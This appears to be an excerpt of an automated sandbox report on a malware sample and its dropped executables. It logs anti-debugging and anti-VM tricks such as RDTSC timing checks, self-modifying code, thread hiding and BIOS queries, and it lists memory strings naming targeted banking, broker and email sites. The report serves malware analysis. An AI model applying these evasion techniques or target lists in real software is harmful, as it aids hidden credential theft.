Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DD5BC second address: 4DD5C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DDCB5 second address: 4DDCBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DDCBC second address: 4DDCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DED5F second address: 4DED63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DED63 second address: 4DEDD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F99511DF632h 0x0000000e jmp 00007F99511DF637h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jno 00007F99511DF628h 0x0000001f jc 00007F99511DF63Fh 0x00000025 jmp 00007F99511DF639h 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F99511DF62Fh 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEDD6 second address: 4DEDE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9950E9A286h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEDE0 second address: 4DEDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F99511DF626h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEF9E second address: 4DEFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEFA2 second address: 4DEFAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E453C second address: 4E4583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F9950E9A291h 0x0000000e js 00007F9950E9A29Fh 0x00000014 jmp 00007F9950E9A299h 0x00000019 push ebx 0x0000001a push edx 0x0000001b pop edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jbe 00007F9950E9A286h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E39FE second address: 4E3A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F99511DF626h 0x0000000c popad 0x0000000d ja 00007F99511DF628h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E3A17 second address: 4E3A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E3CD4 second address: 4E3CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99511DF636h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E3CF3 second address: 4E3D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9950E9A286h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F9950E9A286h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E3E5D second address: 4E3E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jbe 00007F99511DF626h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E4299 second address: 4E429F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E429F second address: 4E42A9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E42A9 second address: 4E42BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9950E9A28Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E6CAC second address: 4E6CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 add dword ptr [esp], 6BD3D740h 0x0000000c add dword ptr [ebp+12459F7Eh], edi 0x00000012 call 00007F99511DF629h 0x00000017 jbe 00007F99511DF64Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F99511DF632h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E6CE1 second address: 4E6D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A290h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9950E9A28Eh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F9950E9A294h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4E6D24 second address: 4E6D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DE39BA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9A71E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1012F83 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F86E4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Special instruction interceptor: First address: 331BBA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Special instruction interceptor: First address: 4DD717 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Special instruction interceptor: First address: 4E567A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Special instruction interceptor: First address: 331B79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Special instruction interceptor: First address: 4DD410 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Special instruction interceptor: First address: 32E95D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Special instruction interceptor: First address: 4F68AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Special instruction interceptor: First address: 4D7445 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Special instruction interceptor: First address: 55B884 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EDE95D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10A68AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1087445 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 110B884 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Special instruction interceptor: First address: 939BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Special instruction interceptor: First address: 24A71E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Special instruction interceptor: First address: 2C2F83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Special instruction interceptor: First address: 236E4E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

Code function: 4_2_050306BC rdtsc

4_2_050306BC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\1000350002\014cda2328.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

API coverage: 3.5 %

Source: C:\Users\user\Desktop\file.exe TID: 3912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe TID: 1168	Thread sleep count: 104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe TID: 1168	Thread sleep count: 144 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 60	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 60	Thread sleep time: -2490000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 60	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe TID: 6256	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_0103DBBE
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0100C2A2 FindFirstFileExW,	6_2_0100C2A2
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0104698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_0104698F
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_010468EE FindFirstFileW,FindClose,	6_2_010468EE
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0103D076
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0103D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0103D3A9
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0104979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_0104979D
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01049642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_01049642
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01049B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_01049B2B
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01045C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_01045C97

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FD42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00FD42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	File opened: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	File opened: C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: firefox.exe, 00000017.00000002.2648969676.000002324ABAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2657214309.000002324B218000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2655338450.000001F8FE060000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2644440257.000001CD084CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2655413847.000001CD089E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2640697345.0000000000B28000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000117E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000017.00000002.2655523447.000002324B117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: skotes.exe, 0000001D.00000002.2640697345.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: firefox.exe, 00000017.00000002.2648969676.000002324ABAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe, 00000004.00000003.1722329632.00000000012BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareU
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: file.exe, bf119f2261.exe.29.dr, random[1].exe.29.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000018.00000002.2655338450.000001F8FE060000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"E
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: bf119f2261.exe, 0000001F.00000002.2550825961.000000000117E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: skotes.exe, 0000001D.00000002.2640697345.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWgt
Source: file.exe, 00000000.00000003.1456731167.0000000005EE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: firefox.exe, 00000018.00000002.2647822097.000001F8FD81A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!
Source: firefox.exe, 00000017.00000002.2657214309.000002324B218000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2655338450.000001F8FE060000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: firefox.exe, 00000018.00000002.2655338450.000001F8FE060000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll#A
Source: file.exe, bf119f2261.exe.29.dr, random[1].exe.29.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1456731167.0000000005EDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: gbdyllo
